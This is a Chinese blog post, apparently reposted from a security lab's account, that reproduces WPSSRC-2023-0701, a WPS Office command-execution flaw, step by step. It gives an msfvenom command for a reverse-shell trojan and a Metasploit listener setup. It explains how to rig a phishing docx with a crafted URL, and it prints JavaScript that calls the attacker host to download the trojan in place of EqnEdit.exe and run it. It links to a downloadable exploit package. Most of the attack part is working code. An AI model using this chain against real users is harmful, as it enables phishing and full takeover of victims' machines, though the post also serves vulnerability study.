分享

【漏洞复现】WPSSRC-2023-0701 WPS office 命令执行漏洞复现

 zZ华 2023-09-01 发布于广东

Image


Image

Image
微信搜一搜
Image
暗魂攻防实验室

ps:目前该漏洞已在最新版本中修复。演示视频:https://www.bilibili.com/video/BV1bp4y1P7es/

环境:

攻击机:kali linux 2023 ip地址为192.168.63.130靶机:暗魂悬剑定制版(win10),wps 11.1.0.15120 ip地址为192.168.63.6EXP下载地址:https://shen.lanzoul.com/iiexD16kbp7g 密码:x1ao漏洞版本WPS下载地址:https://official-package.wpscdn.cn/wps/download/WPS_Setup_15120.exe(以下过程中的ip地址请自行替换)

exp

a.docx --> 钓鱼的doc文档qingbangong.json  --> 服务端存放的windows木马文件,改名为json格式tutorial.html --> 存放在服务端的JavaScript脚本,里面为靶机访问后执行的远程代码start.py -->  启动服务端的脚本

复现过程

1、在攻击机内创建一个文件夹,把tutorial.html、start.py放入该文件内。

Image

2、 生成木马,我们使用msf自带的木马生成工具,生成一个exe木马,也可以使用其他方法生成其他马,cs马也可以。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.63.130 LPORT=4444 -f exe > ./yourfile.exe

Image

2、把木马改名为qingbangong.json放入文件夹内。

Image

3、修改start.py文件内的端口地址,默认是80

Image

4、修改tutorial.html文件,http://攻击机IP:端口/(一定要带后面的“/”,端口是start.py中刚才设置的,80端口就直接Ip地址就可以)

Image

5、运行python脚本,一定要在文件夹这里打开终端,不然访问不到木马文件

Image

python start.py

Image

6、开始配置钓鱼文件a.docx,首先把a.docx改名为 a.zip

Image

全部解压。

Image

7、修改文件\word\webExtensions\webExtension1.xml

Image

修改这里ip为攻击机IP:端口(端口80直接Ip地址就可以)

Image

保存

8、重新回到这个目录下,全选右键,使用winrar压缩,按照图示设置压缩参数后,点击确定,打包成功

Image

Image

9、攻击机监听4444端口

sudo msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 0.0.0.0set LPORT 4444run

Image

10、在靶机运行a.docx

Image

11、拿到目标机shell

Image

简单执行几个命令

Image

弹个计算器

Image

漏洞原理

首先我们可以从docx文档入手,在docx内的webExtension1.xml文件中,我们可以看到这里写了一个url

Image

这串内容很巧妙,在URL规范中,@符号通常用于分隔用户名和密码与主机名。所以当浏览器或其他解析URL的工具看到foo@education-web.docer.wps.cn:80@192.168.63.130/tutorial.html时,它会将foo解析为用户名,education-web.docer.wps.cn:80解析为密码,然后192.168.63.130/tutorial.html作为主机名和路径。

这种情况下,由于education-web.docer.wps.cn:80不能被有效地识别为合法的密码(因为密码通常不包含:等特殊字符),所以解析过程可能会出现错误,而WPS选择忽略该错误,并继续使用主机名和路径进行连接请求,即直接访问192.168.63.130/tutorial.html导致远程代码执行

我们接下来可以看看tutorial.html文件里面写了什么

Image

这串代码使用了wps的一些内部函数,拼接并执行了一些命令

//第一个命令,访问http://192.168.63.130/wpsauth,然后更新EqnEdit.exe文件,如果是空的则删除文件window.wps.Office.UploadFileToServer('http://192.168.63.130/wpsauth', window.wps.WpsApplication().Path + '\\mui\\zh_CN\\resource\\ksee\\EqnEdit.exe', JSON.stringify({bDelLocalFile: true}));
//第二个命令,尝试下载qingbangong.json文件,下载后的文件名为EqnEdit.exewindow.wps.Office.DownloadFileFromServer('http://192.168.63.130/qingbangong.json',window.wps.WpsApplication().Path + '\\mui\\zh_CN\\resource\\ksee\\EqnEdit.exe');
//第三个命令,在文档寻找名为Equation.KSEE3的对象,并且让它Activate活动起来 for (var i = 0; i < e.Count; i++) { var f = e.Item(i+1); var g = f.OLEFormat; if (g !== null && 'Equation.KSEE3' == g.ClassType) { f.Activate(); break; } }

EqnEdit.exe是什么呢?

我查看了一下,是wps自带的公式编辑器

Image

Equation.KSEE3对象是什么呢?

我们可以查看docx文档里document.xml文件内容来判断,我们可以看到文档中 有一个嵌入元素,应该是一个公式。

Image

所以上面那三个命令串联起来,形成了一条完美的逻辑线:

1、首先让wps去更新EqnEdit.exe但是获取的内容是空,则wps会删除掉EqnEdit.exe文件2、通过wps自带的函数,去我们给他的地址下载新的EqnEdit.exe,但这个文件其实是我们写好的木马文件。3、通过对象调用,把文档中的Equation.KSEE3对象激活,让wps去加载EqnEdit.exe导致木马文件被触发。

总结

这个漏洞需要用户打开包含恶意代码的文件,还需要目标机器上已经安装了WPS软件。如果攻击者成功利用了这个漏洞,他们可以实施一系列恶意行为。总之十分危险,请尽快升级最新版本的wps office。



联系微信客服
扫码联系
暗魂攻防实验室


Image

Image

anhunsec_redteam_V2.6 最终版

2023攻防演练重点关注漏洞

【漏洞复现】360路由器P1未授权访问漏洞复现

【渗透测试】春秋云镜靶场-Time

Image
微信搜一搜
Image
暗魂攻防实验室

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多